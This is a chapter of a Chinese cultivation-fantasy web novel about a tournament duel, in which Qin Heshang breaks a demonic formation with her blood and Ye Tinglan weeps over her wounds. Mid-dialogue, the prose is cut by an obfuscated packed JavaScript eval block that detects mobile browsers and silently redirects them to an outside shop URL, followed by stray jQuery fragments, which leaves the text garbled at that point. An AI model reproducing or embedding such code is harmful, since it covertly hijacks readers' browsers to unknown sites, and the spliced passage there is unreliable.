从秦鹤觞掌心流出的鲜血滴在阵法上,发出了轻轻的“嗤嗤”声,紧接着,这处红光闪了闪,竟然有些黯淡了!
那魔修大惊,还未来得及应对,只见秦鹤觞抬起手来在空中一划,那些飞出的血液竟然在空中凝成一个个血珠。
秦鹤觞用完好的手飞快掐诀,操控着血珠射向那些用来起阵的骨节。
这些血珠一碰上骨节,竟然也开始发出“嗤嗤”声,骨节上的灵光连同阵法的红光一齐一点点暗下去。
操控阵法的魔修看着这一幕发了狠,大喝一声,催动阵法加速运转,竟是要和秦鹤觞比一比,究竟是他先杀了秦鹤觞,还是秦鹤觞先毁了他的真实!
阵法中杀机四现,罡风带起攻击,呼啸着袭向秦鹤觞,像是要将她连人带骨绞杀。
秦鹤觞手势一变,在周身设了个简单的防御结界,这结界根本抵挡不了全部的攻击,但她丝毫不去理会那些经由结界削弱后依然在她身上造成大大小小伤痕的攻击,只专心操控血珠对付骨节。而那些从伤口中的流出的鲜血就成了她“源源不断”的材料。
灵力和血液在快速流失,可秦鹤觞的双眸却越来越亮,唇边牵起个势在必得的笑容来,看得魔修心惊肉跳。
那魔修哪里见过这样“毒”的血,这样不要命的人,竟然拼着命不要也要破了他的阵!
他的骨鞭本就带有些毒性,虽然比不得那些毒修的手段,但是寻常修士若是挨上一下,也少不了要吃些苦头。可就算是他曾经见过的天毒门弟子,也从未有能仅凭血液就令别人的法器受损的。
这究竟是个什么人?!
几息之后,阵法的红光只剩下淡淡一层,骨节法器上灵光也已经损了大半。本命法器受到此等损伤,魔修呕出口血来。知晓阵破已是定局,为了不让法器彻底毁坏再受损,魔修无可奈何主动撤了阵法。可怜他自诩的得意之作,还未将阵中之人绞杀,就让被如此意想不到的方式破解了。他看着秦鹤觞恨恨地咬紧了牙关。
没去管那魔修是如何愤恨,秦鹤觞飞快掏出一颗丹药咽下,勉强暂压□□内躁动的气血和暴动的灵力,再运起灵力,制住身上的血流之势。
就在秦鹤觞准备重新迎接对方攻势时,突然,一声沉闷的撞击声从擂台另一侧传来。
原来是叶听澜将那失去了骨槌的魔修打下了擂台!
自从秦鹤觞将他推出阵法而自己被困其中后,叶听澜心中就升腾起一股前所未有的怒火来,这熊熊怒火舔舐着他的理智。
忘归刀挥舞到极致,心法和灵力也同样运转到极致,他像是发了狂似的攻击,他好像听到了阵法的攻击落在秦鹤殇身上的声音。他的表情前所未有的冰冷,眉宇间第一次露出杀意,连带着刀风也像是恨不得将面前的魔修剜骨剃肉一般。
劲风骤雨般的攻击丝毫不给人留在喘息之机,叶听澜却只觉得还不够,还不够快!
叶听澜一面进攻一面疯狂吸纳灵气,五感被调动到极致,刀锋划过空气的声响,灵力流过经脉的感觉,空中飘散的血腥气,须弥海面水波荡漾的声音,自己挥刀与对方躲避抵挡的动作在眼前无限放大、放慢,这世间的一切发展、变化都在此刻潮水般涌入他的识海,但他又好似只看得到眼前的敌人……
这种玄妙的感觉令叶听澜进入了一种无我的境界,这世间的一切都像是能为他所用,为他达成目的。
与叶听澜搏斗的魔修只觉得在一瞬间,叶听澜这个区区筑基期竟然能给他这个金丹期修士造成威压!可不等他去探究,叶听澜的攻势和力道都大幅提升,开始让他难以招架起来。
虽然丢了一只骨槌,但凭借着境界差距,这魔修还能从容应对,甚至想着慢慢消耗叶听澜,等他灵力不支,再将他狠狠打出。到那时,另一边的秦鹤殇也被解决了,赢的只会是他们二人。
可叶听澜竟然越打越勇、越打越快,现在竟然还有进阶的架势!
心底一慌动作上就露出了破绽,叶听澜抓住时机,一刀扫落他手中的最后一只骨槌,紧接着一下一下快速劈砍,竟然在他身上留下了不少伤痕!
他们二人一攻一推,竟然慢慢就到了擂台边缘!那魔修想要向后退去才发现半个脚掌都落了空,慌忙要收回,叶听澜却不许,一招破云见日果断将他打下擂台去!
确认人已经出局,叶听澜猛然回头看向另一名魔修,脚下一转,一蹬,身形向着最后一人疾飞而去。
秦鹤殇也被叶听澜这架势冲击地愣了一下,又很快回神,运起仅剩的灵力,配合叶听澜的进攻。
本就受了伤的魔修又被这二人合力攻击,很快就落了下风。自知胜出无望,魔修当即大声喊道:“我认输!认输!”
秦鹤殇也爽快地收起灵力,却发现叶听澜依然没有要放过那魔修的意思,瞅准时机截住叶听澜的手腕,轻声道:“听澜,可以了。”
叶听澜在被秦鹤殇握住手腕时就立刻停下了攻势,听了秦鹤殇的话,慢慢转过头去,看到秦鹤殇对他露出一个苍白但温柔的笑,泪水和担忧像是决了堤,一下子爆发出来。
“姐……姐姐。”
叶听澜收起刀,一面用灵力为秦鹤殇疗伤,一面哭的上气不接下气。
他朦胧着一双泪眼,仔细去看秦鹤殇的伤势。此刻的秦鹤殇面色苍白,嘴唇也无甚血色,身上大大小小无数伤痕,虽然已经止住了血,可有的甚至深可见骨,曾经握过骨槌的手在不住颤抖,明显是伤到了筋骨。体内灵力近乎干涸,可就剩下的一点灵力也不安生,隐隐有暴动的迹象,只是被暂时压制住了而已。触手所及的肌肤一片冰凉,也不知是不是眼中泪水太多影响了他的视线,他好像看到了一层细密的冰霜……
秦鹤殇看着叶听澜这模样,又心疼又好笑,“受伤的是我,怎么你哭得这么惨?”抬起虽然掌心有伤痕,但能行动的手,轻轻替叶听澜拭去泪水,可叶听澜的眼泪像是要替她将手上的伤口也一并清洗了一样,怎么都止不住。
叹了口气,柔声道:“好了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315334|198940||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不哭,我这不是没事嘛。”
秦鹤殇不说还好,这一说,叶听澜哭得更凶了。
这下是真的让人头疼了。
叶听澜怎么说也是逍遥仙宗的亲传弟子,在这大庭广众之下,当着他那么多同门的面哭成这个样子像是什么话。
秦鹤殇想了想,用伤手揽住叶听澜的脖子,眼睛一闭,哎呦哎呦得将身体的重量压过去,故意拉长了调子道:“哎呦,小叶子……你再哭下去,你的同门们怕是要以为我把你怎么了呢~万一你师姐以为我没照顾好你找我麻烦,可如何是好哦~”
手忙脚乱地避开秦鹤殇身上的伤,将人稳稳揽抱在怀里,叶听澜吸了吸鼻子,用力眨了两下眼睛,才将泪意压了回去。他声音带着浓浓的鼻音,“不会的。”
秦鹤殇听着这如同撒娇一样的音调,睁开一只眼睛看叶听澜,夸张地叹息一声道:“唉,这可不好说,我可是答应了要把你全须全尾带回去的。食言向来不是我秦鹤殇的作风。”
叶听澜还想说什么,却见仙盟长老已经开始公布本次组合赛的最终结果。
原来其他擂台也都决出了胜者。
仙盟长老:“仙门大比组合赛结束,各组榜首已录入风云录!待仙门大比结束后,于仙盟广场上风云榜公示百年。”
说完,照例取出四只玉匣交给几个胜出的修士。
仙盟长老:“诸位且收好。”
一列修士接过玉匣恭敬道:“谢过长老。”
仙盟长老满意地点点头,继续朗声道:“赛事结束,诸位可自行离场,两日后开始团体宗门赛。”
叶听澜揽住秦鹤殇返回了逍遥仙宗众人处。苗小苗见人过来,二话不说伸手上前去探秦鹤殇的伤势。
探清楚了秦鹤殇此时的状况后,忍不住训斥道:“你真是疯了,不过是一个仙门大比,用得着你这么拼命!什么时候把自己折腾死了你才消停吗!”
秦鹤殇此时的状态之糟,是个人都能看出来,岳归帆出声劝道:“苗道友莫急,我们可以回去后请药王谷的医修前来,一定能治好秦道友的。”
还不及她要让长孙靖去请人,就被苗小苗打断,“那帮医修来了也是无用,他们哪里解决的了她身上的毛病!”
什么?!
岳归帆以为苗小苗是不信他们能将药王谷的人请来,解释道:“苗道友放心,逍遥仙宗请药王谷的医修出诊还不在话下。何况药王谷的医修们也都很随和、亲切,一定会愿意前来的。”
苗小苗见岳归帆误解,有些烦躁道:“我不是那个意思……是,是秦鹤殇她吃的那个百毒丹,那东西是她自己搞出来的,药王谷的解不了不说,也不需要解,麻烦得是她把旧伤引出来了。这旧伤她自己都医不好,还能指望药王谷那帮人?”
岳归帆一听,正色道:“既是陈年旧伤,就更不能讳疾忌医。先让师弟带秦道友回去,我速速去请人!”
说罢,再不给苗小苗说话的机会,转身就飞走了!